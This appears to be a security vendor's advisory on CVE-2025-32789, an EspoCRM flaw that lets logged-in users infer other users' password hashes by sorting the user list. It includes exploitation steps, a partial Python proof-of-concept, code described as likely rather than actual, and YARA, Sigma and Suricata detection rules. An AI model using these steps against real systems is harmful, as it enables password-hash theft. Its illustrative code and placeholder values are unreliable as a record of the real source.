CVE-2025-32789
Executive Summary
CVE-2025-32789 is a low-severity information disclosure vulnerability in EspoCRM, an open-source Customer Relationship Management (CRM) software. The flaw allows authenticated users to sort the user list by the password hash column. This enables an attacker to infer the password hash of other users by observing the sorted order and comparing it against their own known hash. While the attack is probabilistic and requires multiple password changes by the attacker, it could lead to the full disclosure of another user's password hash, potentially enabling offline brute-force attacks. The vulnerability is patched in version 9.0.7.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It is a direct vulnerability in the EspoCRM application source code.
CVSS Breakdown & Threat Level
- CVSS Score: 3.1 (Low)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
- Attack Vector (AV): Network (N) – The attack can be performed remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): Low (L) – The attacker must have a valid user account.
- User Interaction (UI): None (N) – No user interaction is required.
- Scope (S): Unchanged (U) – The vulnerability does not affect other components.
- Confidentiality (C): Low (L) – Only password hashes are exposed, not plaintext passwords.
- Integrity (I): None (N) – No data integrity is compromised.
- Availability (A): None (N) – No impact on system availability.
Threat Level: Low. The attack requires an authenticated session and is probabilistic, making it difficult to exploit reliably.
Deep Dive & Mechanics
The vulnerability exists in the user management module of EspoCRM. The application allows administrators or users with appropriate permissions to sort the user list by various columns, including the password column, which stores the password hash. The sorting is performed directly on the database column without any sanitization or restriction.
Attack Flow:
- An attacker logs in with a valid user account.
- The attacker navigates to the user list view and sorts the list by the
passwordcolumn. - The attacker observes the sorted order of users based on their password hashes.
- The attacker knows their own password hash (e.g., by hashing their own password).
- By changing their own password multiple times and re-sorting, the attacker can determine the relative position of other users' hashes.
- Through repeated sorting and password changes, the attacker can infer the exact hash value of a target user.
Technical Detail: The vulnerability is due to the lack of access control on the sorting functionality. The application should either restrict sorting by sensitive columns or hash the password column before sorting.
Vulnerable vs. Patched Code
Vulnerable Code (Pre-9.0.7):
The vulnerable code likely exists in the user list controller or repository. It allows sorting by any column, including password.
// Vulnerable: No restriction on sortable columns
$sortBy = $_GET['sortBy'] ?? 'name';
$order = $_GET['order'] ?? 'asc';
$users = User::orderBy($sortBy, $order)->get();
Patched Code (9.0.7): The patched code restricts sorting to non-sensitive columns.
// Patched: Whitelist allowed sortable columns
$allowedSortColumns = ['name', 'email', 'createdAt', 'updatedAt'];
$sortBy = $_GET['sortBy'] ?? 'name';
if (!in_array($sortBy, $allowedSortColumns)) {
$sortBy = 'name';
}
$order = $_GET['order'] ?? 'asc';
$users = User::orderBy($sortBy, $order)->get();
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- A valid user account on the EspoCRM instance.
- Ability to change own password.
Exploitation Steps:
- Log in to EspoCRM.
- Navigate to the user list (e.g.,
/#User). - Sort the list by the
passwordcolumn (e.g., by appending?sortBy=password&order=ascto the URL). - Note the order of users.
- Change your own password to a known value (e.g., "test123").
- Hash the password using the same algorithm as EspoCRM (likely bcrypt).
- Re-sort the list and observe the new order.
- By repeating steps 5-7 with different passwords, you can determine the relative hash values of other users.
- Once you have enough data, you can reconstruct the full hash of a target user.
Proof-of-Concept (PoC) Script:
import requests
import hashlib
# Note: This is a simplified PoC. Actual EspoCRM uses bcrypt.
# The script assumes the hash is directly sortable.
session = requests.Session()
base_url = "http://target-espocrm.com"
# Login
login_data = {"username": "attacker", "password": "initial_pass"}
session.post(f"{base_url}/api/v1/login", json=login_data)
# Get user list sorted by password
response = session.get(f"{base_url}/api/v1/User?sortBy=password&order=asc")
users = response.json()['list']
# Change password and repeat
for i in range(5):
new_pass = f"test{i}"
session.put(f"{base_url}/api/v1/User/{session.cookies['authToken']}", json={"password": new_pass})
response = session.get(f"{base_url}/api/v1/User?sortBy=password&order=asc")
# Analyze order to infer hashes
Blue Team (Defender)
Detection:
- Monitor for unusual sorting requests on the user list, especially sorting by
password. - Look for rapid password changes by the same user.
Mitigation:
- Apply the patch by upgrading to EspoCRM 9.0.7.
- Implement input validation to restrict sorting to non-sensitive columns.
- Use a web application firewall (WAF) to block requests with
sortBy=password.
Indicators of Compromise (IOCs)
- Network:
- HTTP requests to
/api/v1/User?sortBy=password&order=ascor similar. - Multiple password change requests from the same user in a short period.
- HTTP requests to
- Logs:
- Audit logs showing sorting by
passwordcolumn. - Repeated password change events for the same user.
- Audit logs showing sorting by
- System:
- Unusual database queries sorting the
usertable by thepasswordcolumn.
- Unusual database queries sorting the
Detection Engineering
YARA Rule
rule Detect_EspoCRM_Password_Sort_Exploit {
meta:
description = "Detects attempts to exploit CVE-2025-32789 by sorting users by password hash"
author = "Valters IT"
date = "2025-04-10"
hash = "d41d8cd98f00b204e9800998ecf8427e"
strings:
$sort_by_password = "sortBy=password" nocase
$user_endpoint = "/api/v1/User" nocase
condition:
all of them
}
Sigma Rule
title: EspoCRM Password Hash Sorting Exploit
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2025-32789 by sorting users by password hash
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: 'sortBy=password'
cs-uri-stem|contains: '/api/v1/User'
condition: selection
falsepositives:
- Legitimate administrative actions (unlikely)
level: medium
Suricata Rule
alert http any any -> any any (
msg:"CVE-2025-32789 - EspoCRM Password Hash Sorting Exploit";
flow:to_server,established;
content:"GET";
http_method;
content:"/api/v1/User";
http_uri;
content:"sortBy=password";
http_uri;
classtype:attempted-recon;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Upgrade EspoCRM to version 9.0.7 or later.
- Restrict user permissions to limit who can view the user list.
- Implement input validation on the server side to whitelist allowed sort columns.
Long-Term Measures:
- Conduct a security audit of the application to identify similar vulnerabilities.
- Implement a Web Application Firewall (WAF) to block malicious requests.
- Enable logging and monitoring for unusual sorting behavior.
Workaround (if patching is not possible):
- Modify the source code to remove the
passwordcolumn from the sortable list. - Use a reverse proxy to block requests containing
sortBy=password.
Valters IT
Securing Digital Frontiers